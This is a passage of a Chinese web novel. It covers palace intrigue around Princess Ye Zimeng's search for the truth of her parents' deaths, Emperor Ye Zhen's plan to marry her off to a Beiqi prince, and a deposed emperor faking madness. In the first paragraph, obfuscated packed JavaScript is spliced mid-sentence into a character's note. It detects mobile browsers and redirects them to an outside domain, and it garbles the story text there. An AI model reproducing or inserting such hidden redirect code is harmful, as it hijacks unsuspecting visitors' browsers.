当晚,西门轩等人各自回房休息后,叶子萌与梦桃又说了好多话,并答应她今后一定要抽个时候去杏花坞玩玩,渐渐就到了第二日凌晨,这才沉沉睡去…… 叶子萌一觉醒来,已是巳时,太阳把窗户照得透亮,身边的梦桃早已离去,留下一张纸条,上面写着—— 我还有它事,已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885066|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与使团一同回去,希望你一切安好,记得来杏花坞找我玩。 洗漱完毕,吃些粥饼,叶子萌就吩咐他们四人出去,表面是去置办些日用回来,暗地里是去熟悉这京都街衢,作些了解和暗访。 为了不引起他人注意,叶子萌让他们分成两组,西门轩与云媃一组,子寻风与静香一组,看上去要像“情侣”,这种安排让云媃很满意,马上说这一招真是个“妙计”。 西门轩没有出声,闷着。 子寻风则问道:“子萌妹妹,你呢?你又作甚?” 叶子萌道:“别人注意的应该是我,我就在这聂王府里,与浣儿姐姐和云弟弟说些话,了解些情况,这样不会引起特别关注,我们初来乍到,凡事都要慎之又慎。” 四人对视一眼,点点头,然后一前一后地出了聂王府。 他们走后,叶子萌又拿出那支铜箭镞慢慢看着,然后又拿起纸条仔细研究,一会看左,一会看右,没个头绪。 想了想,便收起箭镞放好,然后揣着纸条,去前厅找聂浣儿去了。 浣儿见叶子萌来了,正要躬身请安,叶子萌挡住她说:“哎呀,浣儿姐姐,我们又不是外人,都是一家人,别来宫中那套……” 这聂浣儿是侯王之女,也是一位秀雅绝俗的郡主,颇有一股轻灵之气,叶子萌去时,她正拿着一本《淮南子》在看,叶子萌不由拉着她手赞叹道:“淮南王刘安乃皇室贵族中修养深厚之人,看来浣儿姐姐也是一位非凡脱俗的女子呢……” “妹妹别这么说,”聂浣儿放下书,“我只是闲来读一些书罢了,哪里算得上什么非凡脱俗,倒是妹妹你,好一个奇女子,昨儿我算是开了眼界……” “对了,”叶子萌像想起什么,从怀里拿出那张纸条递给聂浣儿,假装不懂地说,“浣儿姐姐,昨晚从太后那里回来时,太后托王公公带给我的,她这是什么意思?‘寒邪’指的是什么?你冰雪聪明,可否知道?” 聂浣儿接过纸条仔细看过,狐疑地说:“太后不擅书写,这应该不是她亲笔,会不会是她身边的那个凤仪女官米莲照她嘱咐写的?至于‘寒邪’,应该是提醒吧,你不知道,这皇宫中历来怪事颇多,太后是要你做事谨慎,怕你吃亏呢。” “哦……是这样啊?”叶子萌若有所思地点了点头。 “对了,”聂浣儿想起什么,又说,“那天你问我陛下这人怎么样,我阻止你别说,是怕传到陛下那里。” “怎么会呢?”叶子萌不解,“这里是聂王府呀!难道他还会安插细作到这府邸里来?” “谁知道呢?”聂浣儿神经质地瞧瞧四周,悄悄说,“这悒国,宫中宫外到处都有细作,以后你们做任何事,都得小心一些。” “哦?”叶子萌说,“陛下还会在大臣家安插暗哨,这又太不相信大臣们了吧,这其中是不是有什么误会吧?” “才不是误会呢,”聂浣儿压低嗓子又继续说,“之前你二皇叔叶炫称帝时,叶真就在他身边安插了许多人,据说连当时的贵妃都是叶真的人,你二皇叔叶炫可以说是中了他的招,这才被迫下台,疯掉了的。” “什么二皇叔,他是活该!”叶子萌皱着眉头说,“听说我母妃当年就是死于他刀剑下,这种心狠手辣之人,没有好下场的!” “是的,”聂浣儿附和道,“叶炫称帝时,荒淫无耻是出了名的,现在虽然疯了,但也有人怀疑他是装疯……” “啊,装的?”叶子萌喃喃地说,“太后知道吗?” “你这皇奶奶啊,”聂浣儿悄悄对叶子萌耳语道,“这宫中可能没有她不知道的事,她安插在各地的眼线更是多如牛毛,复杂着呢!” “原来是这样?” “总之你以后随时都要多个心眼,”聂浣儿叮嘱道,“做什么事都要小心一点,三思而后行。” “嗯。”叶子萌点点头,“谢谢姐姐提醒。” 30. 剥茧抽丝,暗中查找 两个女孩儿你一句我一句地聊着,慢慢就熟稔起来,叶子萌见时机成熟,就拉着聂浣儿的手问了一句:“浣儿姐姐,我见到你的第一眼,就知道我们很投缘,我心里有一些疑问,能够向你寻求帮助吗?” 聂浣儿一听,慢慢垂下眼帘,她也是冰雪聪明之人,自然知道失去父母的叶子萌最关心的是什么,但她一介脚不出户的女流,能知道好多呢? 果然,叶子萌继续说:“你知道我父母的事吗?哪怕是一点点蛛丝马迹也好……” 望着叶子萌急切的眼神,聂浣儿摇摇头,说:“你父王遇刺的事,我一点都不知,你母妃我也是后来才听聂小云提过一嘴,小云常在京城与一帮少年混,知道的事肯定比我多。” 正说到这里,院子外有个身影一晃,聂浣儿连忙招手喊道:“小云,你过来一下!” 院外路过的正是聂小云,他跳将进来,一见叶子萌就说:“我刚才去后院找过你,原来你在这里!” “找我做甚?”叶子萌问。 “找你教我练武呀,都说你武功了得,昨儿你骑鹰飞天那一幕,也让我大开了眼界!其实,我早就该学武了,免得在外老是受人欺……” “谁又欺负你了?”聂浣儿马上问。 “唉,也没啥人欺负我,”聂小云把手臂一挥,“我就是这么一说……” 叶子萌笑笑,把话递过去:“学武可以,但你现在还是个孩子,只要你姐姐同意,我就教你。” “我姐姐同意?她?你开玩笑吧?”说着就转向聂浣儿,见聂浣儿正皱着眉头看他,忙别开脸去,忽想起什么,又正经起来,问道,“对了,姐姐叫我何事?” 于是聂浣儿把叶子萌刚才那个问题对他讲了,他一听,瞧瞧左右,然后放低声音说:“我也是曾听一位宫中的老太监说的,当年太子妃……哦,也即你母妃,惨遭那个疯皇帝毒手后,她身边侍奉她的宫女浣菱也一同被赐死。但后来听说这个浣菱并没死,又活了过来……” 叶子萌一激灵,连忙问:“这个浣菱现在身在何处?” 聂小云摇摇头,道:“这也是传的,不知是真是假?而且这个老太监去年就病亡了……” 叶子萌很失望,但仍然不死心地说:“云弟弟,你浣儿姐姐说你在外结交人多,能否帮我暗中打听打听?” “这个嘛……”聂小云慢腾腾地说:“我可以找人帮你打听一下,不过呢,按照等价交换的规则,你也要帮我哈,不仅要教我武功,而且要教我真功夫,这件事可糊弄不得,否则我学了个假功夫,以后在外可有我受的!” “怎么回事?”叶子萌觉得他话中有话。 “他在外尽闯祸,可吃亏不少!”聂浣儿说。 “姐姐,”聂小云嘀咕着说,“揭老底的事你可别干哈!” 叶子萌掉头望着聂浣儿,见聂浣儿对她使了个眼神,她顿时明白过来,连忙点头笑道:“嗯,小云放心,叶姐姐不仅教你武功,你以后若在外遇到什么麻烦事,叶姐姐还会帮你出头呢!” “是吗?”聂小云微笑起来。 “是的。”叶子萌点点头。 “你?……”聂小云马上又狐疑起来,指着叶子萌,又指指旁边的姐姐聂浣儿,“教我武功的事,你不需要她同意啦?” 叶子萌憋着不笑,聂浣儿则望着她弟弟,道:“去!” 聂小云则哈哈笑着跑开了。 …… 画面一转,京城的街头,聂小云一边走着,一边用手比划着,后面跟着两位小少年和三位便衣随从,两位小少年好奇地看着聂小云,其中一位问道:“世子爷,你做什么?” 聂小云回头一笑,颇为神秘地开始吹嘘:“最近,我拜了一位武功高强的师父,别看她只比我大半岁,但厉害着呢,不仅可以驾驭宫中神鹰在天上飞翔,听说她还是昆仑山九天玄女的得意女弟子呢!” “啊?九天玄女的弟子?这么厉害?”其中一个叫杨子的少年说,他父亲是宗正寺卿杨郁,“若真是这样,以后看周箭天那小子还敢狂妄不?” 这里提到的周箭天,即是典签帅周攸元的公子,在京城诸少中占头魁,纠结一帮人搞了个周氏练武堂,经常仗势欺人,令聂小云十分反感。 两个少年曾为了一点小事斗气,打过一架,阵仗还有点大,聂小云这边自然败北,这件事传到太后那里,太后震怒,各方家长把人领回各自责罚,事情才算平息,但是少年毕竟气盛,梁子已经结下。 “最近听说周箭天又闯祸,将京城附近寺庙太清宫的一个女道姑打了,被他父亲关了三天……”另一个叫江孟青的少年说,他父亲是尚书省员外郎江令超。 这时聂小云评价说:“你们的父亲一个是宗正寺卿,一个是尚书省员外郎,都不敢惹他父亲典签帅,就连我家父兵部侍郎,见他父亲也都让着三分……不过现在不同了,九天玄女的徒弟就要出场了,你们瞧着,有那周公子好受的!” “你师父竟是女的,她漂亮吗?”其中一少年问。 “美若天仙!”聂小云说。 “哪天把你师父请出来,让我们瞧瞧?”另一少年笑道。 “哎呀,去去去!”聂小云一把推开他,“今儿说正事!” 来到桥头一茶肆,聂小云等三人进去,店主一看,连忙招呼道:“哟,世子爷来啦,楼 上请……” 三人进入楼上一包间,包间正靠河边,从窗户望出去,河岸两边风光尽收眼底,河上偶有船舫驶过,一些穿戴华丽的男女在船舫上游乐嬉戏。 待三人坐定上茶后,聂小云对守在门外的一个随从说:“去,把刘神仙给我请来。” “是。”随从拱手应道,转身离去。 少顷,三人正在闲聊,随从回来了,并带来了一中年人,正是刘神仙。刘神仙不像个开馆算命的方外之士,倒像个儒雅的读书人,见到聂小云等人就把手一拱,施礼道:“草民见过世子,见过两位公子……” 聂小云连忙过去,将先生拉过来坐下,吩咐店主看茶,然后示意随从等人出去,将门关上,这才对他说:“刘叔,你就别在我朋友面前装什么草民不草民了,谁还不知你在这京城的能量,是个下达三教九流、上通天庭的厉害人物呢!” “哎哎……”刘神仙伸手一挡,道,“世子谬赞,鄙人可不敢当,弄不好这是要掉脑袋的,你可别听人瞎说什么‘上通天庭’!” “好好好,”聂小云摆手,“客套话就不多说了,我有件事需要打听,这件事你就只对壁虎一人说,其他人不透露,要他在三天之内把事情搞定。” “何事?”刘神仙压低声音问。 原来,刘神仙开有一家叫“测玄斋”的算命馆,对外称算命测卦,事实上还有一个鲜为人知的功能,那就是搜集各方情报,施行买卖和交易,极其隐秘,水非常深。 朝廷中人也秘密参与其中,因为朝廷中人,以及三省六部大员也需要情报,所以对它的存在睁只眼闭只眼。“测玄斋”里就有个叫壁虎的,似有通天的本领,这世间上几乎没有他所不知的秘密。 见刘神仙有帮忙的意思了,聂小云这才压低声音说:“当年皇太妃死时,她身边有个侍奉她的宫女叫浣菱的,听已故老太监说,其实这叫浣菱的宫女并没死,后来被人救走,叫壁虎尽快帮我打听到她下落!” “原来如此!”刘神仙说,“实话告诉世子,壁虎昨天就被典签司派来的人请去了,说是有个疑难案子要查,请他去帮忙……” “他何时回来?”聂小云问。 “十天半月都说不清,典签司办案,历来都见不着人的。” 聂小云一听,与江孟青和杨子对望一眼,然后懊恼地说:“看来我们还是迟来了一步,这个壁虎说不定被雪藏了,或与这件事有关?” 刘神仙说:“不过世子别急,这事我还可以找其他人再打听打听,若有结果,我第一时间通知世子就 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米莲犹犹豫豫地小声说:“会不会是明浩公主?现在明浩公主一行入住聂王府,与吴老夫人一家走得近了,而且此事也关乎明浩公主的生母,这个……”就不往下说了。 太后点点头,道:“唉,我这苦命的孙女,刚来悒国,就要陷入这个深潭了,不过,如果真是她要查也罢,就让她查吧,我也想找到当年那个暗害我坤儿的人呢,若她寻找到证据,岂不更好!” 米莲望着太后的侧脸,心里就有些狐疑,于是试探着问:“太后,你让明浩公主回到悒国的主要原因,除了想念她,会不会……会不会正是想通过她,来查找自己生父被害一案的?” 太后转过脸来望着米莲,米莲自知有些唐突,忙调转话题说:“对了,典签司那边我也差秋月去查了,他们把壁虎请去后,每天都好吃好喝供起,也的确是在让他帮忙看一些案子卷宗,但都是些陈年旧事,所以我怀疑他是被暂时雪藏,躲开风头……” “你继续派人盯着,我倒要看看这件事的背后究竟是谁?”太后说。 “是。”米莲说。 她正要离开,又被太后叫住,问她道:“对了,那个人查到没有,有何线索?” 米莲自然明白太后指的是什么,于是回答道:“暂时没查到。不过那人是受了点伤的,巧合的是,那个‘妙人’、即宫中羽林中郎将李诀,他的左臂好像也受了伤,中秋节那天表演‘龙凤戏珠’时你也看到。但他自称那晚宫中轮到他值守,我悄悄差人问过羽林军其他军士,也都证明的确如此,那晚他在宫中值守,带队巡查。” “这就怪了,”太后自言自语道,“那个射箭的人会是谁呢?” …… 事情回溯到半月之前—— 宫中羽林中郎将李诀请了几位羽林军手下在房里喝酒,其中有个军士见他左臂僵硬不便,好似有伤,便问道:“大人,昨天晚上你去了哪,怎么今天手臂上就像受伤,不要紧吧?” 李诀便说道:“唉,这件事说出来也不怕你们笑话,昨晚我与勾栏院的一位姑娘有约,谁知去时,却见她正在陪客,叫我先等等,我喝了会酒,见那家伙还不走,一时兴起就冲进姑娘闺房,与那家伙打了起来……” 军士们一听,纷纷起哄:“是谁这么不知好歹,敢与中郎将大人争女人?说出来,我们替你去收拾他!” “哎哎……”李诀连忙阻止,道,“你们还嫌我不够丢脸吗,还要到处去嚷嚷?对了,若今后有人问起昨晚我的行踪,大家就说我在宫中带队值守,这件事千万别说出去,有伤颜面,唉……” “哈哈哈……”几个军士喝得东歪西倒,笑得一塌糊涂,“大人放心!不过,以后我们若遇到有事,大人也要帮衬我们呀……” “一言为定!”李诀端起酒杯说,“来,喝酒,咱们不醉不归!” 31. 呵斥李快,皇子讨赏 再说皇帝叶真,开始觉得日子不那么舒心了,自从庆祝太后寿诞后,一连几日他都寝食难安。何以故?原来明浩公主骑着神鹰翱翔蓝天的那一幕,使他内心极其震撼!神鹰,乃叶氏一族的皇权象征,明浩公主与神鹰的默契,究竟是证明了她的叶氏正统,还是另有所指? 若是前者,就意味着开始笃信鬼神的他,有些谋划盘算是错的,他是在逆天而行,终将酿成大错,甚至遭遇万劫不复。 现在他既然已经登基当上皇帝,什么都遂了心愿,若是又出现了别的差池,那就很不划算,这意味着,他得小心翼翼,每迈出一步,都要提前深思熟虑。 此时的他,完全已变得神神叨叨了,哪怕是见了一片叶儿从眼前飘过,他也要去琢磨半天,看看这“叶”,究竟是否属于或暗藏卦象的“外应”? 因为,这树叶的“叶”,与他叶家皇族的脉络也有千丝万缕的勾连,不得不察。 凌晨时分,他还做了一奇怪的梦,梦醒后,他挖空心思地去猜想,却不得要领,于是他把梦告诉给了据传有些道行的公公王智鹏。 “我梦见宫中那只神鹰飞着飞着,却变成了那只白猿,”叶真说,“正在奇怪,旁边忽然出现一老者,对我掐指说道,鹰变猿,谐音暗指‘因缘’是也,为人力所不能扭转,叫我顺其自然……” 王公公垂着头仔细听着,却不说话。 叶真讲完又说:“我小时曾听先帝说过,公公有些道行,你帮我分析分析,看看这梦是属于天降神授,还是六识所感?若是前者,又是何意?” 但这个王智鹏永远都是个唯唯诺诺的笑和尚,说话很讲究艺术,从不越矩,当然,你似乎也听不到他有什么真话。 “回陛下,做梦这件事,老奴可说不好,”他说,“陛下最好还是去问问太史令沈大人,那天我听他给两位小皇子小公主讲课时,就提到《黄帝长柳占梦》一书,讲得眉飞色舞的呢……” “哎呀,算了算了!”叶真挥挥手说,“连他的妹妹沈皇后以前都不相信他,说他学艺不精,当不得真……我请他来给两孩子授课,不是做给母后看的吗?” 王公公忍不住想笑,又憋了回去。 接着,叶真又昏睡一会,醒来已是上午巳时,王公公蹑手蹑脚走近床前,把他吓了一跳,他一看是王公公,便又向他挥挥手,王公公刚要退去,他忽想起什么,连忙吩咐道:“去,把李诀叫来。” “是。”王公公说。 少顷,羽林中郎将兼御前带刀侍卫李诀进来,恭恭敬敬地站着,叶真看他一眼,说道:“中秋节那天你也看到了,明浩公主戏玩神鹰一事,文武百官纷纷称奇,说我叶氏一脉道统纯正、源远流长,你怎么看?” 李诀这个“妙人”刚被罚俸三个月,算是“栽了”,而“妙人”这个称号还是皇帝赏赐给他的,从此这称号就会像贴在身上的狗皮膏药一般,甩都甩不掉了,真他娘的晦气! 他一边猜测皇上这话的意思,一边小心翼翼地说:“明浩公主的确是非凡女子,但她毕竟一介女流,无妨;而陛下的小皇子,按照礼制帝规今后必是储君,这才合矩……” “这是屁话,我不是说这个,”叶真说,“我只是想问你,从最近发生的诸事来看,你是否觉得,我对明浩公主过于苛刻了?” 李诀不说话了,掉头悄悄去瞥了一眼王公公,叶真见状,对王公公挥了挥手,王公公便悄无声息地退下…… 李诀其实是在腾时间转念头,他听叶真那样说,于是低头思忖半晌,才改口吐出一句:“那个夜晚,我本来也没打算将箭射出,只是想试试弓、练练手而已,不料背后忽闪出一人,我因惊吓手一抖,那箭才脱弓呼啸而去……” “是啊,”叶真也很狡猾,改口说道,“我也只是让你跟着观察观察而已……但从忽然冒出的另一人来看,也说明这事还真有些复杂,并非想像的那样简单。” “那人会不会是沐灏天?”李诀道,“听说此人后来还开武馆、收徒弟,武功了得?” 叶真默不言语,就在那里慢慢地走来走去,嘴里神神叨叨地念念有词,谁都不知他究竟在说什么;忽又站住,道:“李快在哪里,快快传来,我有话问他!” 李诀退出寝宫房门,站在走廊对着天吹个响哨,这响哨又与中秋节那日的唿哨不同,今日响哨更加绵软,也传得更远…… 不一会,李快就出现在叶真的寝宫里,仍然是斗笠加蒙面,无人认得出,一来就恭敬站着,等候发话。 叶真问他:“你之前在魏国夺走贡品‘昆仑玉龙凤戏珠’一事,回来禀报时,你称除了你的人,外面没有人再知道?” 李快一听,后背发毛,但他倒沉得住气,摇摇头说:“我已严令手下,谁若敢吐露只言片语,割舌!” 叶真走上前去瞧着他的眼睛,那蒙着黑纱的面孔上就只留有一双眼睛,眼珠正滴溜溜儿转着,闪烁不停,不敢对视。 “那为何明浩公主知道呢?”叶真问,“那日她当着我面向太后讲出此事,太后还用怀疑的眼光看着我……难道是何明公主长有顺风耳不成?” “这……”李快嗫嚅着,“我、我回去查查……” “查你个鬼!”叶真气得朝他一脚踹去,李快没防着,一个踉跄倒在地上,又不敢爬起,便拿眼望着一旁的哥哥李诀。 李诀则皱着眉头,瞧了一眼皇帝,又掉过头对他做了个快滚的手势,于是李快这才从地上爬起身,连滚带爬地朝侧门处逃走了…… 正在这时,王公公进来禀报:“启禀陛下,北旗大皇子高炜求见!” “他来做什么?”铁青着脸的叶真抖抖袖袍,似乎要抖掉一身晦气似的,“让他到书房等我,就说我正在用午膳……” 少顷,叶真在宫女、太监、侍卫的簇拥下,才缓步进入书房,此刻的他又“新鲜”如初,印堂发亮,满脸笑容,一见北旗皇子高炜便说:“呵呵,让大皇子久等了……” 高炜与随从恭敬行礼,然后叶真吩咐看座,待客人坐下,便问他道:“北旗大皇子前来,莫非有何要事?” 高炜支支吾吾半天,这才说:“中秋节那日在太后寿宴上,我观贵国的明浩公主,玩弄神鹰于股掌之间,真让我耳目一新,难以忘怀!此女不俗,乃人中龙凤也!” 叶真正在气头上,一听高炜这样一说,虽然脸上在笑,但是心中非常不悦,觉得这外邦的讨厌鬼真是给他添堵来了!但他也知道轻重缓急,这个高炜是不好得罪的,深受他父皇宠爱,今后定是北旗之主。 北旗与悒国的纠纷从来就没停息过,悒国国力强大,但是北旗人也十分剽悍,常在两国边境挑起事端。虽然,悒国想联盟魏国,但是魏国也十分聪明,在表示要与悒国交好的同时,又与北旗眉来眼去,甚至暗通款曲。 叶真上位,开始调整国策,对北旗采取怀柔,在这种大背景下,他没有必要为一些小事与北旗的皇子置气。 叶真压住了火气,抖抖袖袍,端起茶来呷了一口,说道:“大皇子谬赞,我这侄女,当年因宫廷变故,离开皇宫在外多年,撒野惯了,让大皇子见笑了!” 高炜一听,摇摇头道:“也许在一些人眼里,她是撒野,但在我眼里,她却是英姿飒爽,定会成为巾帼英雄。如果悒国中这样的豪爽之人多了,必定是悒国之福,我北旗也不敢藐视啊!” 高炜性情豪爽,说话很直,几句话就露出了骨子里的傲慢,这让心机颇深的叶真很不了然。他清清嗓子,沉着脸问道:“难道北旗大皇子今天来,就是为了赞美我悒国公主几句,顺便再讨些赏赐么?” 叶真的这个“讨些赏赐”,算是对高炜的傲慢作了有力的回击,说完这句带有蔑视和讥讽意味的话,他又斜着眼睛去瞟这个北旗皇子,心里暗骂:你这黄毛小儿,想与我悒国皇帝斗智,还嫩了些! 殊不知高炜并不介意,或心思根 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叶真才不管什么太阳月亮的,他埋着头思索着什么,眼珠子转来转去,突然眼睛一亮,脑洞大开,开始了他的新一轮盘算和筹划,渐渐地,一个绝妙的主意就在心里形成。 “这……倘若这样……”他喃喃自语,眼睛转过来,盯着这边,同时用手指拈拈下巴上那撮小胡子,“倘若那样……”眼睛又转过去,盯着那边…… 旁边的高炜呆呆地望着他将头转来转去,不明就里。 “哈哈哈……”叶真这时突然发出爆笑,然后抬起头指指高炜,“大皇子啊,你才真是个妙人啊,有趣得很,哈哈……”那笑声听上去绝不像是假笑,而是发自肺腑的笑,就像一个长时间在黑暗小屋里焦急摸索的人,冷不丁忽然摸到门把手一样。 高炜被这个突如其来的笑声惊了一下,他迟疑地望着叶真,很不自信地说:“尊敬的陛下,你……你莫非是在藐视我?觉得我不配贵国的……” “哎哎……大皇子多心了,怎么能这样说呢?”叶真终于把笑收敛起来,慢慢地说道,“大皇子身份高贵,是北旗草原上的雄鹰,我明浩公主也是皇家血统,且美丽大方,这真乃英雄配美人啊!” 高炜的眼睛开始放光,脸上的笑容也开始绽放:“莫非……陛下是同意我的请求啦?”他被叶真这种赞美弄得有些不知所措。 “不过……呢……”叶真开始搓手。 高炜似乎要打断他这种犹犹豫豫的心思,赶快对叶真施以大礼,伏在地上叩谢起来:“啊,我们尊敬的皇帝……” “哎哎,”叶真打断他,招招手说,“先起来,起来……” “谢陛下,”高炜说,“我这次回去定向父皇禀报,让他派人来正式提亲……” “住嘴!”叶真不耐烦地大吼一声。 高炜被吓了一跳,愣了,抬头望着叶真。 叶真也回过神来,连忙挤出一丝笑,摆摆手道:“朕的话还未说完呢,你急什么? “哦?”高炜继续望着他,希望赶快结束谈话,成为定局。 叶真偏偏不急,慢条斯理地说:“若是北旗与悒国和亲,自是两国之福不必说,不过呢……”他皱着眉头,有点犹豫起来。 高炜眼巴巴地望着他,问道:“不……不过什么?” 叶真来回踱步,说道:“明浩公主虽已是及笄之年,可以婚配,但她是父母双亡之人,最亲的人中,就只有一个皇祖母,这事就应该让她皇祖母、也即太后作主了。再说,这事不仅要征得太后同意,还要征求公主本人意见,不可操之过急!” 叶真也不是傻子,知道这件事的利害关系,自己万万不可擅作主张,否则,惹怒了太后他可吃不了兜着走,所以这事还得从长计议。 不过,他也知道这是千载难逢的好机会,因为他在冥冥之中觉得明浩公主对他来说,是个潜在的威胁,若是能将她送到北方,那真是太妙不过! 32. 和亲妙计,信鸽传书 高炜听了叶真的“不可操之过急”,连忙点头说:“陛下说得有理,我这次回去后,先将此事禀报父皇,要征得他同意,才来正式提亲。这期间,还望陛下这边竭力游说,争取玉成。” 叶真说道:“太后这边,我定是要去回禀的,两国和亲是大喜之事,太后是明理之人,有她出面,公主那边的事才会好办一些。” “多谢陛下,那我就告辞了……”高炜双手一拱,并朝自己随从挥挥手,然后匆匆退下,生怕再有什么变卦似的。 急急走出皇帝的寝宫,高炜这才放慢脚步,望着天松了一口气,然后闭上眼睛,右手按住胸口,喜形于色地祈祷着说:“长生天啊,替你的儿女祝福吧,将天上的祥云、人间的喜气赏赐给我,让我得到姑娘的青睐吧……” 祈祷完毕,这才大踏步地往前走去,一副踌躇满志的样子。 这边寝宫里,高炜一走,李诀就上前来说:“陛下,北旗皇子提亲一事,你为何那么高兴,莫非你真想把明浩公主许给那……”他略一迟疑,终于脱口说,“许给那狄戎之地的高炜?” 他在说“狄戎之地”时,脸上掠过一丝难以被人察觉的古怪表情。 叶真对一旁的王公公挥挥手,王公公立刻会意,便将宫女们领下去。 待他们一走,叶真这才对李诀说:“这个明浩公主的师父,我怀疑是昆仑山的哪位世外高人,又有太后护着她,对我们来说就像是个烫手山芋,若是继续留在身边,以后也不知会弄出什么麻烦来……再说,你敢保证她不会在暗中追查父母死因?不会在宫中把这件事闹得沸沸扬扬?当年她母妃就性子很烈,敢大闹朝堂的!” 李诀点头道:“这的确是个麻烦,不过即使她追查,线索全断,事情也过去这么多年,再说,她母妃当年死在那疯皇帝叶炫手里,与他人无关呀。” “太子妃无妨,太后也不喜欢,但太子叶坤呢?他可是太后的亲生儿子啊,毕竟血浓于水,母亲对自己亲生儿子的那种情感,你不知道吗?” 李诀一听这话,似乎又被触动神经,脑子里嗡嗡作响,但他不露声色,心里暗暗狐疑道:陛下这是什么意思? “你也别紧张,”叶真又说:“我只是不大放心,若是能与北旗和亲,将她嫁过去,必是一桩美谈,既可保边关二十年安宁,又把这烫手山芋扔了出去,岂不是一举两得之事?” 李诀一听,假装做出恍然大悟的样子,点点头道:“原来如此,陛下果然英明,若能将公主和亲北旗,以后生了孩子,她必陷入儿女情长中,再也无心顾及其他,甚妙!” “不过……”叶真来回踱步,思忖道,“这也不是一蹴而就之事,这一桩桩、一件件的事,都需巧用功夫啊……” 李诀躬身听着,没出声,只是点点头。 旋即,叶真又抬头望着窗外空中,自言自语说道:“但愿天赐良缘,现在就等北旗皇子回去禀报后,看他父皇作什么打算了?……” 正在这时,那个已经走了的北旗大皇子又跑了回来,他的突然出现把叶真吓了一大跳,指着他问道:“怎么?你……” “哦,陛下,我忘了一件重要的事,”北旗皇子气喘吁吁地说,“公主叫什么名字啊?” “她叫叶子萌。”叶真强忍着不快说。 正在这时,一旁的李诀忽然侧耳一听,掉头喝道:“是谁在外?”说着一下闪到门口,刚要拔剑,这时门外就走进来王公公,并没看他,径直走到叶真面前,双手一拱:“启禀陛下,皇后娘娘刚才差人来说,中午她亲自烧了一道你喜欢吃的螃蟹清羹,到时请你过去用膳。” 叶真挥挥手道:“知道了…… 于是王公公退下,与李诀擦身而过时,李诀又掉过头去注视着他的背影,片刻将剑慢慢插入刀鞘。 北旗皇子高炜也向叶真告辞,退了出去,然后他再一次仰望天空,自言自语道:“咦?这叶真陛下之前不是刚称自己在用午膳,让我在书房等着吗?现在怎么又要用午膳了?他们悒国皇帝每天要用几道膳呀?他怎么吃得多,还这么瘦呢?” …… 当晚,在疯皇帝叶炫住的那个冷冷清清、已是杂草丛生的永延殿里,披头散发的叶炫靠着窗户,久久地望着天上那轮月亮;月光洒在他苍白的脸上,看上去没有一点血色。 自他“疯”后,沈皇后征得太后同意,搬到另一处吃斋念佛去了,贵妃杨媛媛和嫔妃赵晓柔也不再来了,只有一个小太监陪着他。这没有女人日子真凄惨,床被都变得坚硬冰凉起来。 这时,永延殿外有一蒙面黑影闪过,悄悄接近了永延殿院墙,那里有一株柑橘树,蒙面黑影一跃就跳到树上。 令人没想到的是,蒙面黑影的后面,又跟着另一个蒙面人,后面这人的轻功似乎更好,走起路来像猫儿一般无声无息,见前面那个蒙面人跳跃上树,便躲在墙角一处悄悄观察。 院墙里,小太监韦清正端着一盆水走向叶炫的寝宫,只听唰地一响,就见一只飞镖插着一个纸条钉在了院子中央那株桃树上。 “谁?”韦清一激灵,脱口叫道,吓得水盆当地掉在地上,掉头一看,只见月光下有个人影,在墙头那边的树上一晃就不见了…… 他回过神来,颤抖着手从树干上拔下飞镖及纸条,跌跌撞撞地跑进疯皇帝住的那间卧室,把纸条递给了叶炫:“陛下,刚、刚才……院里那、那株桃树上……” 叶炫打开纸条,就着微弱的灯光细看上面写的内容,看完后就问韦清:“送纸条的人你看清了吗,是谁?” 韦清摇摇头说:“没看清,那人身手了得,人影在墙上一晃就不见了……” 叶炫喃喃自语道:“看来,北旗的二皇子高策神通广大,竟还在叶真身边安插有细作?……”寻思片刻,又命韦清拿来纸笔,在上面写了几行字,然后折叠起来递给韦清,道:“放鸽……” 韦清将纸条塞进小竹筒,跑到院外,从笼中取出鸽子,将小竹筒绑在鸽子脚上,然后往空中一抛,那鸽子就扑腾腾飞向月亮高悬的空中,朝北方飞去,消失在暗夜里…… 各位看官,别以为这叶炫是真疯?其实不然,他在自己大势已去后,的确患上了比较严重的抑郁症,但是他还在想作最后一搏! 越王勾践卧薪尝胆、三年耻辱的事还历历在目,他悒武帝不及越王勾践的谋略和胸怀,但那心中的雪耻之恨,却有过之而无不及。 他在这无人来嘘寒问暖的、几乎就是冷宫的永延殿里,白天装疯,晚上思忖,少有睡觉,觉得若要翻盘,只有依靠和联合外部势力,于是就想到了北旗二皇子高策。 北旗皇帝高渊对他的两个儿子,一个是大皇子高炜,一个是二皇子高策,采取的态度是不偏不倚、暗中观察,从不轻易去论亲疏,故储君之位一直高置,它就像挂在空中的一盏明灯,要照亮、勘透他两个儿子的能力和德行。 大皇子高炜在北旗喜欢拉拢内臣,人脉甚广,又喜抢风头,弄得二皇子高策处处受到掣肘,渐落下风,因此对他兄长颇为不满。 一个曾被悒国派往北旗的暗探韦棕,正是叶炫贴身小太监韦清的弟弟,一个十分偶然的机缘,韦棕认识二皇子高策身边的一名侍卫,就这样通过秘密联络和几次接触,达成一纸绝密协议—— 那是北旗京城奉都南门的一家茶肆里,人来人往,那个侍卫领着头戴斗笠、蒙着面纱的韦棕上了二楼,来到楼道尽头,轻轻敲门,待门开了,便进去。 里面坐着一个面色青黑、下巴有一小撮胡须的中年人,他的背后站着两名佩刀武士,那个侍卫进门一见他就将右手扶在左胸致礼,道:“汤大人,韦棕带到。” 这“汤大人”便是高策的少师汤隐,他面前摆了一副釉陶茶缶,内装寒食散,据传他耽声好色,服了寒食散后,可以神明开朗,体力倍增。此刻他上下打量着蒙着 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现在,叶真虽然钳制住叶炫,将其搞垮,但他再精明,也没料到叶炫是只僵而不死的大虫,也没料到他是在装疯,还暗中联络了北旗二皇子高策……一个濒临绝境的人,他身上所迸发出的精神力量,有时是让人料想不到的。 “你弟弟韦棕,”叶炫对放了鸽子进来的小太监韦清说,“若这次的事情办好了,将来少不了他的好处!” 